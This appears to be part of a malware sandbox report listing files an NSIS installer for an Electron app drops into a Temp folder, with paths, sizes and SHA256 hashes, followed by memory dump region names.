        • SHA256 4304f90e9b9266cccf357b212c6a8ea3b0816b68c39a4d4691d638c9e2f07286
        • MD5 SHA1 SHA512 TLSH

        7za

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\resources\app.asar.unpacked\node_modules\7zip-bin\mac\arm64\7za
        • Size 965KB
        • SHA256 6f4dd78a82cf574f49118d99be620fd3edcfa9e48971d8523816b7ed20419c47
        • MD5 SHA1 SHA512 SSDEEP TLSH

        7za

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\resources\app.asar.unpacked\node_modules\7zip-bin\mac\x64\7za
        • Size 2.8MB
        • SHA256 434075f6ff5ea9250571033ca06b95d464efcad87a528dd0b224816c86b1a444
        • MD5 SHA1 SHA512 SSDEEP TLSH

        package.json

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\resources\app.asar.unpacked\node_modules\7zip-bin\package.json
        • Size 390B
        • SHA256 22ae65997792246ae9ba3a14b29619591b21a956903ca1572e96fef47d5bde68
        • MD5 SHA1 SHA512 TLSH

        7za.exe

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\resources\app.asar.unpacked\node_modules\7zip-bin\win\arm64\7za.exe
        • Size 1.0MB
        • SHA256 81f67048b7366870e5d49f00a8c570570c6a0dd11c05df7a09a8c52870cc83bd
        • MD5 SHA1 SHA512 SSDEEP TLSH

        7za.exe

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\resources\app.asar.unpacked\node_modules\7zip-bin\win\ia32\7za.exe
        • Size 773KB
        • SHA256 31fd52f8996986623cf52c3b4d0f7ac74a9dec63fc16c902cef673eed550c435
        • MD5 SHA1 SHA512 SSDEEP TLSH

        7za.exe

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\resources\app.asar.unpacked\node_modules\7zip-bin\win\x64\7za.exe
        • Size 1.2MB
        • SHA256 b0cfdeaf429f5cc53f85123dd8f5a5feb92c19d31aa34df257edf9a26be05f95
        • MD5 SHA1 SHA512 SSDEEP TLSH

        LICENSE

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\resources\app.asar.unpacked\node_modules\app-builder-bin\LICENSE
        • Size 1KB
        • SHA256 bd662a6ff7b68e2d89e92ab5d02c0ff04eef249b8a02fc424cf970fb3feb525f
        • MD5 SHA1 SHA512 TLSH

        index.js

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\resources\app.asar.unpacked\node_modules\app-builder-bin\index.js
        • Size 641B
        • SHA256 5c3a00e2192c7f1edb7cdc4ff7a972c1b3f27042bda18aedfb8dcf528881de53
        • MD5 SHA1 SHA512 TLSH

        app-builder

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\resources\app.asar.unpacked\node_modules\app-builder-bin\linux\arm64\app-builder
        • Size 16.8MB
        • SHA256 487103dd8842061a893e9103fd6e34aae859e5ed61af97fb3f1eb8d68cfb6622
        • MD5 SHA1 SHA512 SSDEEP TLSH

        app-builder

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\resources\app.asar.unpacked\node_modules\app-builder-bin\linux\arm\app-builder
        • Size 16.4MB
        • SHA256 0c5f9d05d2fc8a62a06f84212816fe445480efdcb34b9471a8822ced19ec5ecf
        • MD5 SHA1 SHA512 SSDEEP TLSH

        app-builder

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\resources\app.asar.unpacked\node_modules\app-builder-bin\linux\ia32\app-builder
        • Size 16.2MB
        • SHA256 be1b6a75a676b04fe5cfe5cf8a38c6ed09e9b125e0b73e8f1879337ee9c1f6af
        • MD5 SHA1 SHA512 SSDEEP TLSH

        app-builder

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\resources\app.asar.unpacked\node_modules\app-builder-bin\linux\loong64\app-builder
        • Size 17.4MB
        • SHA256 03218699d066fa741b5cf3f4f7720679da9059ce4c94d8abb9655f862ad64c9e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        app-builder

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\resources\app.asar.unpacked\node_modules\app-builder-bin\linux\riscv64\app-builder
        • Size 17.1MB
        • SHA256 4eee7ac59a6d54c55109db8c469d189d631b400f78e192dbe6aa03d52fd0344d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        app-builder

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\resources\app.asar.unpacked\node_modules\app-builder-bin\linux\x64\app-builder
        • Size 17.3MB
        • SHA256 0e62641e95f524723051e4585451db83a208eed03d6d58efc660fd95420c6c7b
        • MD5 SHA1 SHA512 SSDEEP TLSH

        app-builder_amd64

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\resources\app.asar.unpacked\node_modules\app-builder-bin\mac\app-builder_amd64
        • Size 18.7MB
        • SHA256 0f4dda940f1164d55aa8d15d35971082619d0fa6d05f428bfbf8bb7ba8089864
        • MD5 SHA1 SHA512 SSDEEP TLSH

        app-builder_arm64

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\resources\app.asar.unpacked\node_modules\app-builder-bin\mac\app-builder_arm64
        • Size 18.6MB
        • SHA256 d643005f93778c6aa2cc12d80b29a0e903265e216759381355fc471dfef9dd3a
        • MD5 SHA1 SHA512 SSDEEP TLSH

        package.json

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\resources\app.asar.unpacked\node_modules\app-builder-bin\package.json
        • Size 1KB
        • SHA256 57f10ce4086c685f8d6636515d0dbe323185c4840539571cae12a33cd8e9c403
        • MD5 SHA1 SHA512 TLSH

        elevate.exe

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\resources\elevate.exe
        • Size 105KB
        • SHA256 9b1fbf0c11c520ae714af8aa9af12cfd48503eedecd7398d8992ee94d1b4dc37
        • MD5 SHA1 SHA512 SSDEEP TLSH

        snapshot_blob.bin

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\snapshot_blob.bin
        • Size 309KB
        • SHA256 397bfb1c55eb98bc8c1e1ba1155e24efc105c155def665c678ac3a135f4bbcc7
        • MD5 SHA1 SHA512 SSDEEP TLSH

        v8_context_snapshot.bin

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\v8_context_snapshot.bin
        • Size 671KB
        • SHA256 e8fac5817d9b33ae78b0bd2863750047cbbda211bc28342d0cbea97a07656757
        • MD5 SHA1 SHA512 SSDEEP TLSH

        vk_swiftshader.dll

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\vk_swiftshader.dll
        • Size 5.3MB
        • SHA256 409a0fa76f055a87ae70434414586d144502beb25fa3004866ee70abd9a8547e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        vk_swiftshader_icd.json

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\vk_swiftshader_icd.json
        • Size 106B
        • SHA256 32d83ff113fef532a9f97e0d2831f8656628ab1c99e9060f0332b1532839afd9
        • MD5 SHA1 SHA512 TLSH

        vulkan-1.dll

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\vulkan-1.dll
        • Size 874KB
        • SHA256 f6c99137c3d6af45bc2262815867d6d37f5dcb0552caffc90cd77fb6561b7491
        • MD5 SHA1 SHA512 SSDEEP TLSH

        StdUtils.dll

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\StdUtils.dll
        • Size 100KB
        • SHA256 b72e9013a6204e9f01076dc38dabbf30870d44dfc66962adbf73619d4331601e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        System.dll

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\System.dll
        • Size 12KB
        • SHA256 3eb38ae99653a7dbc724132ee240f6e5c4af4bfe7c01d31d23faf373f9f2eaca
        • MD5 SHA1 SHA512 SSDEEP TLSH

        nsis7z.dll

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\nsis7z.dll
        • Size 424KB
        • SHA256 b393f05e8ff919ef071181050e1873c9a776e1a0ae8329aefff7007d0cadf592
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/692-536-0x000001D27AB10000-0x000001D27AB1A000-memory.dmp

        memory/692-535-0x000001D27AA30000-0x000001D27AAE2000-memory.dmp

        memory/692-534-0x000001D27AA10000-0x000001D27AA2E000-memory.dmp

        memory/692-531-0x000001D27A980000-0x000001D27A9A2000-memory.dmp

        memory/5000-660-0x0000000140000000-0x00000001405B6000-memory.dmp

        memory/5000-659-0x00007FFE70670000-0x00007FFE70672000-memory.dmp